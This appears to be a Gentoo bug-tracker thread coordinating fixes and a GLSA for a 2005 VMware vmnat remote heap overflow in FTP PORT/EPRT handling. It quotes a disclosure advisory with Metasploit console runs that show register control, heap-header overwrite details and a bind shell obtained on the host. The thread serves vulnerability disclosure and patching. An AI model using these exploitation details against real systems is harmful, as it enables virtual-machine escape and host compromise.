Not sure wether this affects the Linux version, but an updated download is available. -=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=- ACS Security Assessment Advisory - Remote Heap Overflow ID: ACSSEC-2005-11-25 - 0x1 Class: Remote Heap Overflow Package: VMWare Workstation 5.5.0 <= build-18007 VMWare GSX Server Variants VMWare Ace Variants VMWare Player Variants Exempt: VMWare ESX Server Variants Build: Windows NT/2k/XP/2k3 Notified: Dec 01, 2005 Released: Dec 21, 2005 Remote: Yes Severity: High Credit: Tim Shelton <security-advisoriesacs-inc.com> -=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=- -=[ Background "VMware Workstation is powerful desktop virtualization software for software developers/testers and enterprise IT professionals that runs multiple operating systems simultaneously on a single PC. Users can run Windows, Linux, NetWare, or Solaris x86 in fully networked, portable virtual machines - no rebooting or hard drive partitioning required. VMware Workstation delivers excellent performance and advanced features such as memory optimization and the ability to manage multi-tier configurations and multiple snapshots. With millions of customers and dozens of major product awards over the last six years, VMware Workstation is a proven technology that improves productivity and flexibility. An indispensable tool for software developers and IT professionals worldwide." -- http://www.vmware.com/products/ws/ -=[ Technical Description A vulnerability was identified in VMware Workstation (And others) vmnat.exe, which could be exploited by remote attackers to execute arbitrary commands. This vulnerability allows the escape from a VMware Virtual Machine into userland space and compromising the host. 'Vmnat' is unable to process specially crafted 'EPRT' and 'PORT' FTP Requests. -=[ Proof of Concept: -=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=- msf > use vmware_vmnat msf vmware_vmnat(win32_bind) > exploit [*] Starting Bind Handler. [*] VMWare vmnat Remote Heap Exploit by Tim Shelton <securityacs-inc.com> [*] 220 #### FTP Server Ready. [*] Login as anonymous/login [*] Sending evil buffer.... [*] No response from FTP server [*] Exiting Bind Handler. vmnat.exe: Access violation when writing to [2F5C2F5C] <- Controllable Registers -=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=- -=[ Breakdown Control over registers ECX, EDI, EBX will allow you overwrite an available Heap Header PLINK and FLINK. EDX points to your buffer on overwrite. Overwrite located at ntdll.0x7C926A36 Windows XP/SP2 build 2600 -=[ Functioning Overflow of Concept: -=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=- msf > use vmware_vmnat_0day msf vmware_vmnat_0day(win32_bind) > exploit [*] Starting Bind Handler. [*] VMWare vmnat Remote Heap Exploit 0day by Tim Shelton <securityacs-inc.com> [*] 220 #### FTP Server Ready. [*] Login as anonymous/login [*] Sending evil buffer.... [*] Got connection from 192.168.79.130:34941 <-> 192.168.79.2:4444 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Program Files\VMware Workstation> -=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=- -=[ Credits Vulnerability originally reported and exploited by Tim Shelton -=[ ChangeLog 2005-11-25 : Original Advisory 2005-12-01 : Notified Vendor 2005-12-20 : Vendor released patch, disclosing full information.
Upstream response: http://www.securityfocus.com/archive/1/420017/30/0/threaded And sorry for accidentially filing this as restricted yesterday.
*** Bug 116292 has been marked as a duplicate of this bug. ***
OK. I am /away until after the first of the year (and the only active person on the VMware team) starting today. Upgrading to a non-vulnerable version for users of 3.2.1 and 4.5 costs money, so that isn't a viable option. The "default" is bridged networking, but that can be simply changed. Getting 5.5.1 marked stable on x86/amd64 will solve the issue for anyone running 5.x, but it won't help users running 3.x or 4.x... If the vmware-any-any-update96 patch resolves this for those users, then they're already fixed in stable.
The 96 patch is dated Nov 16 and the vulnerability was reported to VMWare on Dec 1, so it's probably not fixed in it. I would call for the (fixed) 5.5.1.19175 to become stable and publish a GLSA with the workaround available to other versions users. If/when a patch or new version is available for the other versions we'll update the GLSA accordingly.
According to bigbabyjesusfoo and r2d2 in #gentoo-security there's a new 4.5.3 build 19414 dated 12/27/05 that's also a fix for this so it'll need updating also. It's unclear if 3.x is affected, if it it could do with masking.
<r2d2> 5.0 remains vulnerable and 5.5.1 is the security fixed version of 5.5.0 AFAIK 5.5 is key-compatible with 5.0 so we probably want to urge people to upgrade if a new build for 5.0 doesn't come out.
Yes, we could target 4.5.3 and 5.5.1 for stable, and mask all affected versions, then release a GLSA about this. We can update that GLSA if/when a 3.x version gets released, otherwise it will just show as affected.
I am currently working on new ebuilds for 4.5.3 and will stabilize 5.5.1 with it.
Ebuilds are in CVS and marked stable. Can someone verify 3.2.1, as I only have an AMD64 box available and this version doesn't run on AMD64.
Calling in x86 to test as per above comment.
Not sure what to test... there is a 3.2.1 fixed version somewhere ? Or do you want someone to check that 3.2.1 is affected ?
That version has been stable for a couple weeks now. No idea how to test if its vulnerable, and if it is, upstream isn't going to be pushing out any new versions of it anyway (I don't think).
Chris: is there any work left to do, like something about the 3.x version (implied by your comment #9) ? GLSA is ready to go if you confirm it's OK.
The latest version of vmware-player in portage is also fixed (as of today) but was never marked stable. As for 3.x, there does not appear to be a new version and I cannot verify that 3.x is vulnerable. I have considered adding a masking simply stating that there are some known issues with the VMware NAT code and that 3.x is potentially vulnerable, but really would like some guidance or advice on what you guys think.
I'm pretty sure 3.x is affected. From VMware inc. : "The vulnerability in the NAT component affects VMware Workstation 5.5, VMware GSX Server 3.2, VMware ACE 1.0.1, VMware Player 1.0, and previous releases of these products" Also from my own knowledge of vmware-nat, if there was an error in there, it's probably been there from the beginning. So masking with a message is OK.
3.x is now masked...
GLSA 200601-04
I believe that this was fixed for the 3.x branch with vmware-any-any-update97. On March 20th, a new revision was added for 3.x that brought us to vmware-any-any-update98. Since this was the first update based off the VMware Workstation 5.5.1, it had the security bug already fixed. Can we possibly update the GLSA so that ferringb's vulnerability scan will no longer find this version vulnerable, since it is not.
updated GLSA in cvs